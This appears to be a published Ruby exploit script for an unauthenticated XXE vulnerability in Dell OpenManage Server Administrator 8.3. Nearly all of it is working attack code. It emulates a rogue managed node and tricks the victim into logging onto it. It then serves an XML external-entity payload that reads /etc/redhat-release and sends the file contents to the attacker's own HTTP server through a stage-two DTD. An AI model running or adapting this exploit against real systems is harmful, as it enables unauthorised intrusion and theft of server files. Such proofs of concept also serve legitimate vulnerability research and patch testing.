#!/usr/bin/ruby
#
# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE
# Date: June 9, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa
# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW
# Version: 8.3
# Tested On: RHEL7
#
# Description:
# When using an XML parser on returned data by a remote node, OMSA does not
# restrict the use of external entities.
#
# This PoC first emulates a remote node (OMSA -> WS-Man -> this) and
# requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed.
#
# Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt
# to parse returned XML, and when the OMSA instance requests this XML from
# the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that
# includes a XXE attack, revealing the contents of /etc/redhat-release.
#
# Because OMSA merely requires you be authenticated to the node you are
# managing, which we control, authentication to the victim is not required
# to exploit this vulnerability.
#
# To use, change line 55 to your victim IP. If you have multiple network
# interfaces, you may wish to manually specify which one will be accessible
# to the victim on line 60.
#
# Note: during testing, OMSA would periodically begin rejecting connections
# to fake nodes and would need to be restarted; do not expect multiple runs
# against the same victim to be successful unless you can restart it.
#
# Copyright (C) 2016 hantwister
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
require 'webrick'
require 'webrick/https'
require 'nokogiri'
require 'securerandom'
require "net/http"
require "uri"
victimip = nil
if victimip.nil?
abort "You should modify this file and specify a victim IP."
end
attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n"
sleep 10
wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ])
wsmanCallback.mount_proc '/wsman' do |req, res|
doc = Nokogiri::XML(req.body) do |config|
config.options = Nokogiri::XML::ParseOptions::NONET
end
doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest|
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>'
end
doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest|
dellCmd = dellRequest.child.text
respText = " "
if dellCmd.start_with?("__00omacmd=getuserrightsonly ")
userRights = (7 + (7 << 16))
respText = "<SMStatus>0</SMStatus><UserRightsMask>#{userRights}</UserRightsMask>"
elsif dellCmd.start_with?("__00omacmd=getaboutinfo ")
respText = "<ProductVersion>6.0.3</ProductVersion>"
elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent")
respText = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE bogus [\n <!ENTITY % file SYSTEM \"file:///etc/redhat-release\">\n <!ENTITY % dtd SYSTEM \"http://#{attackerip}:8080/stage2.dtd\">\n%dtd;\n%send;\n]]>\n<bogus><blah /></bogus>"
end
resDoc = Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"><s:Header><wsa:To> </wsa:To><wsa:RelatesTo> </wsa:RelatesTo><wsa:MessageID> </wsa:MessageID></s:Header><s:Body><n1:SendCmd_OUTPUT><n1:ResultCode>0</n1:ResultCode><n1:ReturnValue> </n1:ReturnValue></n1:SendCmd_OUTPUT></s:Body></s:Envelope>")
resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text
resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text
resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid
resDoc.xpath('//n1:ReturnValue').first.content=respText
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = resDoc.to_xml
end
end
wsmanThread = Thread.new do
wsmanCallback.start
end
xxeCallback = WEBrick::HTTPServer.new(:Port => 8080)
xxeCallback.mount_proc '/stage2.dtd' do |req, res|
res.status = 200
res['Content-Type'] = 'application/xml-dtd'
res.body = "<!ENTITY % all\n \"<!ENTITY % send SYSTEM 'http://#{attackerip}:8080/xxe?result=%file;'>\"\n>\n%all;\n"
end
result = nil
xxeCallback.mount_proc '/xxe' do |req, res|
result = req.query['result']
wsmanCallback.shutdown
xxeCallback.shutdown
end
xxeThread = Thread.new do
xxeCallback.start
end
trap 'INT' do
wsmanCallback.shutdown
xxeCallback.shutdown
abort "Exiting"
end
httpConn = Net::HTTP.new(victimip, 1311)
httpConn.use_ssl=true
httpConn.verify_mode=OpenSSL::SSL::VERIFY_NONE
print "\n\nRequesting that the victim log onto this malicious node...\n\n"
logonUri = URI.parse("https://#{victimip}:1311/LoginServlet?flag=true&managedws=false")
logonReq = Net::HTTP::Post.new(logonUri.request_uri)
logonReq.set_form_data({"manuallogin" => "true", "targetmachine" => attackerip, "user" => "nobody", "password" => "", "application" => "omsa", "ignorecertificate" => "1"})
logonRes = httpConn.request(logonReq)
jSessionId = logonRes['Set-Cookie']
jSessionId = jSessionId[(jSessionId.index('=')+1)..(jSessionId.index(';')-1)]
vid = logonRes['Location']
vid = vid[(vid.index('&vid=')+5)..-1]
print "\n\nJSESSIONID = #{jSessionId}\nVID = #{vid}\nRequesting the victim's CmdLogWebPlugin...\n\n"
pluginUri = URI.parse("https://#{victimip}:1311/#{vid}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid=#{vid}")
pluginReq = Net::HTTP::Get.new(pluginUri.request_uri)
pluginReq['Cookie']="JSESSIONID=#{jSessionId}"
pluginRes = httpConn.request(pluginReq)
wsmanThread.join
xxeThread.join
print "\n\nSuccessful XXE: #{result}\n\n" unless result.nil?
